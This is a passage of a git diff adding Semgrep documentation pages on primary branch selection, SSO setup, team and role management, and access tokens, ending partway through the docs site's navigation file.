+In the **Primary branch** section, click the drop-down box and select a branch. The drop-down menu shows a list of **scanned branches**.
+
+
+Click **Save**.
+
+
+
+
+ 
+
+_**Figure**. Projects > Project settings page > Primary branch selection._
+
+### Through an API endpoint
+
+You can also send a `patch` request to the following endpoint: [Deployment > Project endpoint](https://semgrep.dev/api/v1/docs/#tag/ProjectsService/operation/ProjectsService_UpdateProject). Add the `primary_branch` key in the request body.
+
+### How Semgrep counts findings in the Projects page
+
+You can view a total count of findings in the **Projects** page for all Semgrep products.
+
+- For Code and Supply Chain, this total count is computed from the **primary branch**.
+- For Secrets, this total count is computed from deduplicated findings across all branches.
+
+This means that the count of findings in your Code, Secrets, or Supply Chain page may differ from the counts in your Projects page.
+
+The following links explain how Semgrep presents findings for each Semgrep product in their respective page:
+
+
+
+
+
+
diff --git a/mintlify-docs/deployment/sso.mdx b/mintlify-docs/deployment/sso.mdx
new file mode 100644
index 0000000000..8ed877f293
--- /dev/null
+++ b/mintlify-docs/deployment/sso.mdx
@@ -0,0 +1,271 @@
+---
+title: "Single-sign on (SSO) configuration"
+sidebarTitle: "SSO authentication"
+---
+
+
+**YOUR DEPLOYMENT JOURNEY**
+
+- You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
+- You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
+- You are an admin for both your Semgrep deployment and your IdP provider.
+- For GitHub and GitLab users: You have [connected your source code manager](/deployment/connect-scm).
+
+
+This article walks you through single-sign on (SSO) configuration. Semgrep supports SSO through [OpenID Connect / OAuth 2.0](#openid-connect--oauth-20) and [SAML 2.0](#saml-20).
+
+After setting up SSO, users are provisioned and managed on your IdP. Semgrep grants access to the deployment to any user at the configured domain who logs in and has the correct permissions in the IdP. If a user attempts to log in through GitHub or GitLab with an email at your configured domain, Semgrep prompts them to log in using corporate SSO instead.
+
+
+
+
+### OpenID Connect / OAuth 2.0
+
+
+**MICROSOFT ENTRA ID**
+
+Semgrep AppSec Platform does not support using OpenID with Microsoft Entra ID. Follow the instructions to [set up SAML SSO with Microsoft Entra ID](/kb/semgrep-appsec-platform/saml-microsoft-entra-id) instead.
+
+
+To set up SSO in Semgrep AppSec Platform:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to [**Settings > Access > Login methods**](https://semgrep.dev/orgs/-/settings/access/loginMethods).
+
+
+In the **Single sign-on (SSO)** section, provide a valid **Email domain**, then click **Initialize**.
+
+
+The **Configure Single Sign-On** dialog appears. Begin by selecting your identity provider, or choose **Custom OIDC**.
+
+
+Follow the instructions provided on the subsequent **Configure Single Sign-On** dialog pages to complete this process. When you've completed the required steps, use **Test sign-in** to test the connection.
+
+
+Once test sign-in has passed, close the test page. Verify that the **Connection details** shown on the **Connection activated** screen are correct and close the dialog.
+
+
+Verify that the **Connection status** is now **active** under the **Single sign-on (SSO)** section in Semgrep AppSec Platform.
+
+
+To use the new connection, log out of Semgrep, then log back in using SSO.
+
+
+
+If you encounter issues during the setup process, please [reach out to support](/support) for assistance.
+
+### SAML 2.0
+
+
+**GOOGLE WORKSPACE SAML**
+
+If you're using Google Workspace SAML, see [SAML Single Sign-on with Google Workspace](/kb/semgrep-appsec-platform/saml-google-workspace) for specific guidance.
+
+
+SAML2.0 is configured through **Semgrep AppSec Platform**. To set up SSO:
+
+
+
+Create a SAML app with your authentication provider.
+
+
+With your authentication provider, add in two attribute statements: `name` and `email`.
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to [**Settings > Access > Login methods**](https://semgrep.dev/orgs/-/settings/access/loginMethods).
+
+
+In the **Single sign-on (SSO)** section, provide a valid **Email domain**, then click **Initialize**.
+
+
+The **Configure Single Sign-On** dialog appears to guide you through the remaining configuration steps. Begin by selecting your identity provider, or choose **Custom SAML**.
+
+
+Follow the instructions provided on the subsequent **Configure Single Sign-On** dialog pages to complete this process. If prompted, add in the requested attribute statements. Semgrep recommends the following mappings:
+ | Name | Value |
+ | :--- | :--- |
+ | id | `user.login` **OR** `user.email` |
+ | email | `user.email` |
+ | firstName | `user.firstName` |
+ | lastName | `user.lastName` |
+ When you've completed the required steps, use **Test sign-in** to test the connection.
+
+
+Once test sign-in has passed, close the test page. Verify that the **Connection details** shown on the **Connection activated** screen are correct and close the dialog.
+
+
+Verify that the **Connection status** is now **active** under the **Single sign-on (SSO)** section in Semgrep AppSec Platform.
+
+
+To use the new connection, log out of Semgrep, then log back in using SSO.
+
+
+
+
+
+
+
+### OpenID Connect / OAuth 2.0
+
+
+**MICROSOFT ENTRA ID**
+
+Semgrep AppSec Platform does not support using OpenID with Microsoft Entra ID. Follow the instructions to [set up SAML SSO with Microsoft Entra ID](/kb/semgrep-appsec-platform/saml-microsoft-entra-id) instead.
+
+
+To set up SSO in Semgrep AppSec Platform:
+
+
+
+Sign in to Semgrep AppSec Platform.
+
+
+Navigate to **[Settings > Access > Login methods](https://semgrep.dev/orgs/-/settings/access/loginMethods)**.
+
+
+Click **Add SSO configuration** and select **OpenID SSO**.
+
+
+Provide a **Display name** and the **Email domain**.
+
+
+Copy the **Redirect URL**, and provide it to your authentication provider.
+
+ 
+
+
+
+Generate a **Client ID** and **Client Secret** through your authentication provider and paste these values into Semgrep.
+
+ 
+
+
+
+From your authentication provider, copy the **Base URL** value, and provide it to Semgrep. For example, if you're using Okta SSO, the base URL is the **Okta domain**.
+
+
+Optional: provide the following values from your authentication provider if necessary:
+ - **Well Known URL**
+ - **Authorize URI**
+ - **Token URI**
+ - **Userinfo URI**
+
+
+Click **Save** to proceed.
+
+
+
+If you encounter issues during the setup process, please [reach out to support](/support) for assistance.
+
+### SAML 2.0
+
+
+**GOOGLE WORKSPACE SAML**
+
+If you're using Google Workspace SAML, see [SAML Single Sign-on with Google Workspace](/kb/semgrep-appsec-platform/saml-google-workspace) for specific guidance.
+
+
+SAML2.0 is configured through **Semgrep AppSec Platform**. To set up SSO:
+
+
+
+Create a SAML app with your authentication provider.
+
+ 
+
+
+
+With your authentication provider, add in two attribute statements: `name` and `email`.
+
+ 
+
+
+
+Sign in to Semgrep AppSec Platform.
+
+
+Navigate to **[Settings > Access > Login methods](https://semgrep.dev/orgs/-/settings/access/loginMethods)**.
+
+
+Click **Add SSO configuration** and select **SAML2 SSO**.
+
+
+Provide a **Display name** and the **Email domain**.
+
+
+Copy the **SSO URL** and **Audience URL (SP Entity ID)**, and provide it to your authentication provider.
+
+ 
+
+
+
+From your authentication provider, copy your **IdP SSO URL** and **IdP Issuer ID** values, and download the **X509 Certificate**.
+
+ 
+
+
+
+Return to Semgrep AppSec Platform, and paste the **IdP SSO URL** and **IdP Issuer ID** values, and upload your **X509 Certificate**.
+
+ 
+
+
+
+Select the box next to **This SSO supports non-password authentication mechanisms (e.g. MFA, X509, PasswordLessPhoneSignin)** if applicable.
+
+
+Click **Save** to proceed.
+
+
+
+
+
+
+If you encounter issues during the setup process, [reach out to support](/support) for assistance.
+
+
+**ADMIN AND ORG OWNER ACCOUNTS**
+
+By default, Semgrep creates new SSO accounts with the **Member** role assigned. You can change the default role assigned to a new user by going to [Settings > Access](https://semgrep.dev/orgs/-/settings/access/defaults).
+
+If you're an admin setting up SSO, and Semgrep creates an SSO account for you with the role of **Member**, you can elevate the permissions granted to your SSO account. To do so, log in to Semgrep with your admin account using the original login method, then [change the role](https://semgrep.dev/orgs/-/settings/access/members) of your newly created SSO account to **Admin**.
+
+
+### Turn off sign in with GitHub / GitLab
+
+If you have SSO enabled, you can turn off login using GitHub or GitLab credentials. Doing so forces members of your organization to log in using an email address with an approved domain.
+
+
+
+Sign in to your [Semgrep account](https://semgrep.dev/login).
+
+
+Navigate to [**Settings > Access > Login methods**](https://semgrep.dev/orgs/docs-test/settings/access/loginMethods).
+
+
+GitHub users: Click the **GitHub SSO** toggle to turn off logins using GitHub.
+
+
+GitLab users: Click the **GitLab SSO** toggle to turn off logins using GitLab.
+
+
+
+
+**WARNING**
+
+Ensure that you have at least one user who can log in as an admin through SSO before disabling sign in with GitHub or GitLab.
+
+
+### See also
+
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/deployment/teams/manage.mdx b/mintlify-docs/deployment/teams/manage.mdx
new file mode 100644
index 0000000000..a4a9483a58
--- /dev/null
+++ b/mintlify-docs/deployment/teams/manage.mdx
@@ -0,0 +1,259 @@
+---
+title: "Manage teams and roles"
+---
+
+Semgrep allows you to manage user membership and access to Semgrep resources, such as scans, findings, and repositories or codebases you have added to Semgrep. To configure those settings, go to **[Settings > Access](https://semgrep.dev/orgs/-/settings/access)** in Semgrep AppSec Platform.
+
+## Invite a user through email
+
+You can add new users to your organization by sending them an email. This email contains instructions for them to join your org through the same auth provider configured for your account. The invitation only facilitates access for users who are already provisioned in the configured auth provider.
+
+You must be an **admin** to perform this operation.
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Click ** Settings > Access**. This brings you to the **Users** tab.
+
+
+Click **Invite users**.
+
+
+In the dialog, enter your team members' email addresses. You can invite up to 20 users at a time. Separate each email address with a Space or Tab key. You can also paste a comma-separated list of email addresses.
+
+
+Click **Send invites**.
+
+
+
+## Set a default role for the organization
+
+Users are assigned a role based on your organization's default. New organizations are created with the default role set to **admin**. To change this setting, perform the following steps:
+
+
+
+In Semgrep AppSec Platform, click ** Settings**.
+
+
+Click **Access > Defaults**.
+
+
+
+## Change a user's role
+
+You must be an **admin** to perform this operation.
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Click ** Settings > Access**.
+
+
+Search for the user whose role will be changed.
+
+
+Click on the user's current role, under the role header. A drop-down box appears.
+
+
+Select the new role for the user.
+
+
+
+
+**NOTE**
+
+You cannot change your own role.
+
+
+## Enable teams
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Click **[ Settings > Access > Teams](https://semgrep.dev/orgs/-/settings/access/teams)**.
+
+
+Optional: Click ** Yes, add new users to the default team** if you want new members and projects to be added to the default team.
+
+
+Click **Enable**.
+
+
+Read the dialog box to ensure that your settings are correct, then click **Enable beta**.
+
+
+
+When you have enabled teams for the first time, a team is automatically created with the name of your deployment. This preserves the settings you previously had using the **Users** feature; all current members retain their existing projects.
+
+## View your teams
+
+You must be an admin or manager to view the **Teams** tab.
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Click **[ Settings > Access > Teams](https://semgrep.dev/orgs/-/settings/access/teams)**.
+
+
+
+## Create a team
+
+
+
+In the [ **Teams** tab](https://semgrep.dev/orgs/-/settings/access/teams), click **New team**. The **Create New Team** form appears.
+
+
+Enter a **Name** for the team.
+
+
+The **Projects** tab opens. Click the checkbox next to the name of the projects you want to give access to. You can also use the **Search** box or **tags** to help you find projects.
+
+
+Click the **Users** tab, then click the checkbox next to the name of the team members you want to add. You can also use the **Search** box to help you find members.
+
+
+Optional: Appoint a manager. Under the **Role** column, click the drop-down box and select **Manager**.
+
+
+Click **Create**.
+
+
+
+### Create a subteam
+
+
+
+In the [ **Teams** tab](https://semgrep.dev/orgs/-/settings/access/teams), click ** Add subteam** next to the name of the top-level team you want to create a subteam for. The **Create new subteam** form appears.
+
+
+Enter a **Name** for the subteam.
+
+
+The **Projects** tab opens. Click the ** checkbox** next to the name of the projects you want to give access to. You can also use the **Search** box or **tags** to help you find projects.
+
+
+Click the **Users** tab, then click the ** checkbox** next to the name of the team members you want to add. You can also use the Search box to help you find members.
+
+
+Optional: Appoint a manager. Under the Role column, click the drop-down box and select **Manager**.
+
+
+Click **Create**.
+
+
+
+
+**INFO**
+
+- You must have at least one team before you can create a subteam.
+- In subteams, you can add members that are not part of the top-level team.
+
+
+## Manage your teams
+
+### Update an existing team or subteam
+
+
+
+In the [ **Teams** tab](https://semgrep.dev/orgs/-/settings/access/teams), click the ** edit** icon on the row of the team or subteam you want to edit.
+
+
+Make your changes.
+
+
+Click **Review > Save changes**.
+
+
+
+### Delete a team or subteam
+
+
+
+If you are deleting a team, delete its subteams first.
+
+ i. In the [ **Teams** tab](https://semgrep.dev/orgs/-/settings/access/teams), click the ** down arrow** to show all subteams under a team, then follow steps 2-3.
+
+
+Click the ** trash can** icon.
+
+
+Click **Delete** to confirm.
+
+
+
+### Appoint a manager
+
+To set a member as a manager for a subteam:
+
+
+
+In the [ **Teams** tab](https://semgrep.dev/orgs/-/settings/access/teams), click the ** edit** icon on the row of the team or subteam you want to edit.
+
+
+Click on the **Users** tab.
+
+
+Under the Role column of the member you want to appoint, click the drop-down box and select **Manager**. Perform this step for all members you want to set as managers.
+
+
+Click **Review**.
+
+
+Click **Save changes**.
+
+
+
+#### View and edit subteams
+
+
+**INFO**
+
+This feature is currently in invite-only beta. Please contact [Semgrep Support](/support) for more information.
+
+
+
+
+In the [ **Teams** tab](https://semgrep.dev/orgs/-/settings/access/teams), click the ** edit** icon on the row of the team or subteam you want to edit.
+
+
+Find the team to which the subteam should be added. Click **Add subteam**.
+
+
+Provide a **Team name**. Click **Add projects**.
+
+
+Select one or more projects to add to the subteam. Click **Add members**.
+
+
+Select one or more users to add to the subteam. Click **Review**.
+
+
+Review the changes you have made. If this looks correct, click **Create team** to proceed.
+
+
+
+Managers can view their subteams by going to the **Settings > Access > Teams** tab. Within this tab, they are also able to assign any of the projects they manage from one subteam to another.
+
+Note that this feature allows managers to view **all projects** in the **Edit teams** panel, including projects they are not assigned to. However, they cannot perform admin-level actions on those projects, such as assigning projects they are not designated to manage.
+
+### Filter findings for a team's projects
+
+
+
+Navigate to the **Findings** page.
+
+
+Click the **Teams** filter. This filter displays teams you have access to.
+
+
+Select the teams you want to see findings for.
+
+
diff --git a/mintlify-docs/deployment/teams/overview.mdx b/mintlify-docs/deployment/teams/overview.mdx
new file mode 100644
index 0000000000..5368bc4738
--- /dev/null
+++ b/mintlify-docs/deployment/teams/overview.mdx
@@ -0,0 +1,145 @@
+---
+title: "Manage user access to projects"
+sidebarTitle: "Teams and users"
+description: "Basic access control, which determines which users can manage Semgrep resources such as scans, projects, and findings, is managed in Semgrep AppSec Platform. This allows you to configure different levels of collaboration and visibility for users in your organization with access to Semgrep."
+---
+
+
+Semgrep primarily divides users into three roles:
+
+- **Admin**
+- **Member**
+- **Read-only**
+
+Optionally, you can appoint members to a fourth role: the **manager** role. Managers are a subset of members with some additional capabilities and scopes. In particular, they are able to assign specific projects to members through the creation of [teams](#teams-beta).
+
+### User permissions and visibility
+
+**Admins** have full permissions, scopes, and visibility into all aspects of Semgrep.
+
+**Members** can *edit* the following page in Semgrep AppSec Platform:
+
+- **Findings**: They can view **all projects** in the Findings page, and can sort and triage findings.
+
+**Members** can *view* the following pages in Semgrep AppSec Platform:
+
+- **Dashboard**: They are able to see the total count of findings for all projects in the org.
+- **Editor**: They can view an org's rules, but they can't write rules for the org. They can still write rules for their personal Semgrep orgs.
+- **Registry**: They can view, but not add, rules and rule packs.
+- **Docs**: Anyone can view the docs.
+
+**Members** *cannot view or perform any actions* on the following pages:
+
+- **Policies**
+- **Projects**
+- **Settings**
+
+## Teams (beta)
+
+The **Teams** feature enables admins to grant or limit access to **specific projects** in Semgrep AppSec Platform. This provides more granular control than the [**Users**](#user-permissions-and-visibility) feature alone. Teams helps security engineers and developers in large organizations focus on projects relevant to their specific department or team.
+
+You can quickly assign projects to large groups of users by first assigning users to teams and subteams within your organization. Once you've limited a user's access to a subset of your projects, their **Dashboard** and **Findings** pages all reflect that change. For example, their finding count is based on the total number of findings in the projects they can access.
+
+## Roles and access
+
+The Teams feature extends the existing roles defined in the **Users** tab.
+
+- **Admin**
+ - A user who has access to all features, resources, and projects of their Semgrep deployment. Admins can also change the role of members and managers.
+ - When creating teams, admins are automatically included in all teams and can't be removed from any team. The access of an admin cannot be restricted except by making them a member.
+ - An org admin can change the role of any other user, including a fellow admin.
+- **Member**
+ - A user who has access to some features, resources, and projects of their Semgrep deployment.
+ - To grant members access to a project and its findings, you must add the members to a team, and that team must be assigned to the project.
+ - Members can scan their local or personal repositories through a personal account.
+ - Members can also be assigned as **Managers** within a team.
+- **Read-only**
+ - A user who can only view projects and issues of their Semgrep deployment.
+- **Manager**
+ - A member who can grant access to projects by creating subteams and assigning members to these subteams.
+ - A manager role is restricted to the teams where they have been assigned as a manager. Users can be managers of some projects, but members for others. For more information, see [the manager role](#the-manager-role).
+
+### Page and feature access per role
+
+| Page | Read-only | Member | Manager | Admin |
+| :--- | :--- | :--- | :--- | :--- |
+| **Dashboard** | ⚠️ Restricted. Scope is limited based on team assignments and the project access granted to those teams. | ⚠️ Restricted. Scope is limited based on team assignments and the project access granted to those teams. | ⚠️ Restricted. Scope is limited based on team assignments and the project access granted to those teams. | ✅ Yes |
+| **Projects** | ⚠️ Restricted. Projects assigned to teams are visible to users assigned to those teams. | ⚠️ Restricted. Projects assigned to teams are visible to users assigned to those teams. | ⚠️ Restricted. Projects assigned to teams are visible to users assigned to those teams. | ✅ Yes. Admins can see all projects. |
+| **Findings** | ⚠️ Restricted. Read-only users can perform no triage operations. | ⚠️ Restricted. Members can perform all triage operations on Projects assigned to them. | ⚠️ Restricted. Managers can perform all triage operations on Projects assigned to them. | ✅ Yes |
+| **Policies** | ❌ No | ❌ No | ❌ No | ✅ Yes. Only admins can view and edit policies. |
+| **Editor** | ❌ No | 👁️ Read-only. Members can view all rules of an organization, but can't edit or create their own. They can create their own rules in their personal account. | 👁️ Read-only. Managers can view all rules of an organization, but can't edit or create their own. They can create their own rules in their personal account. | ✅ Yes |
+| **Settings** | ❌ No | ❌ No | ⚠️ Restricted. Managers can see the **Access** and **Account** subpages. On the **Access** page, they can edit the subteams to which they are assigned as manager. | ✅ Yes |
+
+### Operations permitted per role
+
+| Capability | Read-only | Member | Manager | Admin | Notes |
+| :--- | :--- | :--- | :--- | :--- | :--- |
+| Create or edit projects | ❌ No | ⚠️ Restricted | ⚠️ Restricted | ✅ Yes | |
+| Change policies | ❌ No | ❌ No | ❌ No | ✅ Yes | |
+| Triage findings | ❌ No | ⚠️ Restricted | ⚠️ Restricted | ✅ Yes | Members can perform all triage operations on Projects assigned to them. |
+| Assign roles | ❌ No | ❌ No | ❌ No | ✅ Yes | |
+| Create or edit teams | ❌ No | ❌ No | ❌ No | ✅ Yes | |
+| Create or edit subteams | ❌ No | ❌ No | ✅ Yes | ✅ Yes | |
+| Delete teams | ❌ No | ❌ No | ❌ No | ✅ Yes | |
+| Delete subteams | ❌ No | ❌ No | ✅ Yes | ✅ Yes | A manager can delete a subteam they are assigned to manage, as long as no resources, such as projects, are assigned to that subteam. |
+| API | ❌ No | ❌ No | ❌ No | ✅ Yes | |
+
+
+**INFO**
+
+Members and managers can create projects by scanning a repository using the Semgrep CLI tool, but they can't access the project related to the repository in Semgrep AppSec Platform unless an admin provides them explicit access to the project.
+
+
+### Semgrep Multimodal features permitted per role
+
+| Page | Read-only | Member | Manager | Admin |
+| :--- | :--- | :--- | :--- | :--- |
+| Add a memory | ❌ No | ❌ No | ❌ No | ✅ Yes |
+| Receive weekly priority emails | ❌ No | ❌ No | ❌ No | ✅ Yes |
+| Add a memory during triage | ❌ No | ❌ No | ❌ No | ✅ Yes |
+
+## How team access works
+
+- Members of a top-level team gain access to the projects of its subteams. They are indirect members of a subteam.
+- Members of a subteam do not have access to the projects of teams or subteams above it.
+
+In the following diagram, team 1 gains access to subteam 1b's projects, but team 1b does not gain access to projects from team 1.
+
+
+ 
+
+
+- The members Alexis, Pam, and Raj have access to the following projects:
+ - App
+ - Microservices
+ - Frontend
+- The members David, Sebas, and Phaedra have access to the following projects:
+ - Frontend
+
+If there is a user who is assigned **read-only** access to the deployment, but they need to be a member of specific teams, you must modify the user's roles at the team level to ensure that they can access those projects.
+
+### The manager role
+
+Use the **manager role** to delegate the assignment of projects across many users. Managers can speed up the deployment of Semgrep into your organization by creating subteams to grant members access to projects.
+
+Given a security engineer who is a manager of **team A** but a member of **team B**, with both teams having the same projects:
+
+- The security engineer has manager **access** to the projects.
+- The security engineer can create subteams for team A but can't create subteams for team B.
+
+Additionally, the manager role is able to perform the following:
+
+- Scan, including managed scans on new projects through the **Projects** page.
+- Edit projects that their team is assigned to.
+
+Managers cannot remove themselves from their team. Admins and co-managers of the same team or subteam can remove other managers.
+
+Managers can view and assign any of the projects they manage from one subteam to another at any time.
+
+For example, if Bob is a manager of `Team A` (assigned to projects `Foo` and `Bar`) and `Team B` (assigned to project `Baz`), Bob has access to all three projects: `Foo`, `Bar`, and `Baz`. Bob can also assign `Baz` to `Team A`.
+
+## Tips for creating teams and subteams
+
+- **Assign projects to only one team.**
+- **Use subteams to grant access to a specific department's repositories**: Create a top-level team for managers or security engineers in your organization who have broad access to a variety of repositories, then create subteams for members to grant them limited access to their specific department's repositories.
+- **Use flat teams to grant access to central projects that are used by a broad group of developers**: It is best to create a separate flat team, without any subteams, and grant the users access to foundational or central repositories from that team. For example, projects that all engineers commit to can be named the Engineering Team.
diff --git a/mintlify-docs/deployment/tokens.mdx b/mintlify-docs/deployment/tokens.mdx
new file mode 100644
index 0000000000..431622c985
--- /dev/null
+++ b/mintlify-docs/deployment/tokens.mdx
@@ -0,0 +1,134 @@
+---
+title: "Access tokens"
+sidebarTitle: "Tokens"
+description: "An access token is a secure credential used to authorize requests to Semgrep AppSec Platform or the Semgrep API without a username and password. Each token is associated with a specific Semgrep account and has a defined set of [scopes](#token-scopes) that determine the permissions granted to its bearer."
+---
+
+## Types of access tokens
+
+Semgrep uses the following types of access tokens:
+
+- API tokens
+- CLI tokens
+- Service tokens
+
+### API tokens
+
+API tokens can be created by admins and are used for calls to the Semgrep API and to set up third-party integrations. For auditing purposes, API tokens are associated with the user who created them. However, they remain valid until manually revoked, even if the creator is no longer associated with the deployment.
+
+### CLI tokens
+
+CLI tokens authenticate users who run scans or publish rules from the Semgrep CLI. Both members and admins of a deployment can create CLI tokens. The CLI token allows users to run scans on their local machine using the `semgrep ci` command. This sends findings data to Semgrep AppSec Platform. It also allows users to [publish rules](/writing-rules/private-rules#creating-private-rules) using `semgrep publish`.
+
+For auditing purposes, Semgrep [records the user who generated the CLI token](https://semgrep.dev/orgs/-/settings/tokens/cli), but the user's actions are attributed to the token rather than the user.
+
+Logging out of the Semgrep CLI with `semgrep logout` removes the local token, but it does not invalidate it.
+
+### Service tokens
+
+Service tokens are functionally the same as API tokens, but instead of being manually generated by a user, they are automatically generated during repository onboarding for CI/CD scans or when repositories are added to Semgrep AppSec Platform. These tokens authenticate agents running automated scans. The default scope for these tokens is Agent/CI, but admins can edit the token and grant them the API scope as well.
+
+## Token scopes
+
+The following table displays the scopes assigned to each token:
+
+| Token | Send findings from a remote repository | Send findings from a local repository | Connect to Semgrep API |
+| :--- | :--- | :--- | :--- |
+| API | ❌ No | ❌ No | ✔️ Yes |
+| CLI | ❌ No | ✔️ Yes | ❌ No |
+| Service (CI) | ✔️ Yes | ✔️ Yes | ❌ No |
+
+The following table displays typical uses for token scopes:
+
+| Token | Use |
+| :--- | :--- |
+| API | Used to access Semgrep's API |
+| CLI | Auto-generated by Semgrep when a user is logging in through Semgrep CLI. Use this token to scan your code locally using your organization's configured policies, including private rules. |
+| Service (CI) | Generated by Semgrep when onboarding (adding) a repository to Semgrep AppSec Platform. |
+
+## View and manage tokens
+
+You can view a list of tokens for your deployment [in Semgrep AppSec Platform under **Settings > Tokens**](https://semgrep.dev/orgs/-/settings/tokens).
+
+Each token type has its own page that lists all existing tokens of that type. Use the search bar to help find a specific token.
+
+For **API tokens**, you can use the drop-down menu to view only those tokens associated with specific roles, such as **Admin** or **Member**.
+
+For **Service tokens**, you can use the drop-down menu to view tokens for specific services, such as **Semgrep Managed Scans**, **Autofix**, or **AI Scan**.
+
+### Create an API token
+
+
+
+ Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+ Go to [**Settings > Tokens > API tokens**](https://semgrep.dev/orgs/-/settings/tokens/api).
+
+
+ Click **Create new token**.
+
+
+ Copy the **Secrets name** and the **Secrets value**, and save these values. The **Secrets value** is your token and is only shown at this time.
+
+
+ Select the **Token scopes**.
+
+
+ Optional: change the **Name** of the token. This is the value used in the list of tokens associated with your Semgrep deployment.
+
+
+ Click **Save** to proceed.
+
+
+
+### Create a CLI token
+
+Once you've [set up the Semgrep CLI](/getting-started/cli#set-up-semgrep), create a CLI token by running the following command:
+
+```bash
+semgrep login
+```
+
+Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed. In the **Semgrep CLI login** window, click **Activate** to proceed.
+
+### Edit a token
+
+
+
+ Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+ Go to **Settings > Tokens**.
+
+
+ Go to one of the following pages based on the type of token you're interested in: **API tokens**, **CLI tokens**, or **Semgrep service tokens**.
+
+
+ Find the token, and click **Edit**.
+
+
+ In the dialog that appears, change the **Token scopes** or the displayed **Name**.
+
+
+ Click **Save** to proceed.
+
+
+
+### Revoke a token
+
+
+
+ Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+ Go to **Settings > Tokens**.
+
+
+ Go to one of the following pages based on the type of token you're interested in: **API tokens**, **CLI tokens**, or **Semgrep service tokens**.
+
+
+ Find the token, and click **Revoke**.
+
+
+
diff --git a/mintlify-docs/docs.json b/mintlify-docs/docs.json
new file mode 100644
index 0000000000..0a514b86f0
--- /dev/null
+++ b/mintlify-docs/docs.json
@@ -0,0 +1,999 @@
+{
+ "$schema": "https://mintlify.com/docs.json",
+ "theme": "mint",
+ "name": "Semgrep",
+ "colors": {
+ "primary": "#008456",
+ "light": "#008456",
+ "dark": "#624DEF"
+ },
+ "background": {
+ "color": {
+ "light": "#f8f9f9",
+ "dark": "#131a2c"
+ },
+ "decoration": "gradient"
+ },
+ "favicon": "/favicon.png",
+ "navigation": {
+ "tabs": [
+ {
+ "tab": "Home",
+ "pages": ["index"]
+ },
+ {
+ "tab": "Scan with Semgrep",
+ "groups": [
+ {
+ "group": "Get started",
+ "pages": [
+ "getting-started/quickstart",
+ "getting-started/quickstart-managed-scans",
+ "prerequisites",
+ "getting-started/scm-support",
+ {
+ "group": "Supported languages",
+ "root": "supported-languages",
+ "pages": [
+ "languages/csharp",
+ "languages/go",
+ "languages/java",
+ "languages/javascript",
+ "languages/kotlin",
+ "languages/python",
+ "languages/ruby",
+ "languages/scala",
+ "languages/swift"
+ ]
+ },
+ {
+ "group": "Local and CLI scans",
+ "root": "category/local-and-cli-scans",
+ "pages": [
+ "getting-started/cli",
+ "running-rules",
+ "update",
+ "deployment/local-to-scp-scans",
+ "troubleshooting/semgrep"
+ ]
+ }
+ ]
+ },
+ {
+ "group": "Set up and deploy scans",
+ "pages": [
+ {
+ "group": "Core deployment",
+ "root": "deployment/core-deployment",
+ "pages": [
+ "deployment/checklist",
+ "deployment/create-account-and-orgs",
+ {
+ "group": "Connect a source code manager",
+ "root": "deployment/connect-scm",
+ "pages": ["semgrep-appsec-platform/scm-code-access"]
+ },
+ "deployment/sso",
+ {
+ "group": "Scan repositories with the AppSec Platform",
+ "root": "category/scan-repositories-with-the-appsec-platform",
+ "pages": [
+ {
+ "group": "Managed Scans",
+ "root": "deployment/managed-scanning/overview",
+ "pages": [
+ "deployment/managed-scanning/azure",
+ "deployment/managed-scanning/bitbucket",
+ "deployment/managed-scanning/github",
+ "deployment/managed-scanning/gitlab"
+ ]
+ },
+ {
+ "group": "AI-powered detection",
+ "root": "semgrep-code/ai-powered-detection-concepts",
+ "pages": ["deployment/add-ai-to-scans"]
+ },
+ "deployment/add-semgrep-to-ci",
+ "deployment/add-semgrep-to-other-ci-providers",
+ "deployment/customize-ci-jobs",
+ "semgrep-ci/configuring-blocking-and-errors-in-ci",
+ {
+ "group": "Configuring SCA scans",
+ "root": "semgrep-supply-chain/setup-infrastructure",
+ "pages": ["semgrep-supply-chain/setup-maven"]
+ },
+ "deployment/manage-projects",
+ "deployment/primary-branch",
+ "troubleshooting/semgrep-app"
+ ]
+ },
+ {
+ "group": "PR or MR comments",
+ "root": "category/pr-or-mr-comments",
+ "pages": [
+ "semgrep-appsec-platform/azure-pr-comments",
+ "semgrep-appsec-platform/github-pr-comments",
+ "semgrep-appsec-platform/gitlab-mr-comments",
+ {
+ "group": "Bitbucket PR comments",
+ "root": "category/bitbucket-pr-comments",
+ "pages": [
+ "semgrep-appsec-platform/bitbucket-cloud-pr-comments",
+ "semgrep-appsec-platform/bitbucket-data-center-pr-comments"
+ ]
+ },
+ {
+ "group": "Customize core deployment",
+ "root": "deployment/beyond-core-deployment",
+ "pages": [
+ {
+ "group": "Ignore files, folders, and code",
+ "pages": [
+ "ignoring-files-folders-code",
+ "semgrep-supply-chain/ignoring-dependencies"
+ ]
+ },
+ "semgrep-code/semgrep-pro-engine-intro",
+ "semgrep-code/policies",
+ "semgrep-supply-chain/license-compliance",
+ "writing-rules/overview-1"
+ ]
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "group": "Deployment at scale",
+ "root": "category/deployment-at-scale",
+ "pages": [
+ {
+ "group": "Teams and users",
+ "root": "deployment/teams/overview",
+ "pages": ["deployment/teams/manage"]
+ },
+ "deployment/tokens",
+ "semgrep-appsec-platform/tags",
+ "semgrep-ci/network-broker"
+ ]
+ },
+ {
+ "group": "Secure guardrails",
+ "root": "secure-guardrails/secure-guardrails-in-semgrep",
+ "pages": [
+ "secure-guardrails/secure-defaults",
+ "secure-guardrails/custom-guardrails-rules"
+ ]
+ },
+ {
+ "group": "Notifications",
+ "root": "semgrep-appsec-platform/notifications",
+ "pages": [
+ "semgrep-appsec-platform/slack-notifications",
+ "semgrep-appsec-platform/email-notifications",
+ "semgrep-appsec-platform/webhooks"
+ ]
+ },
+ "semgrep-appsec-platform/dashboard",
+ {
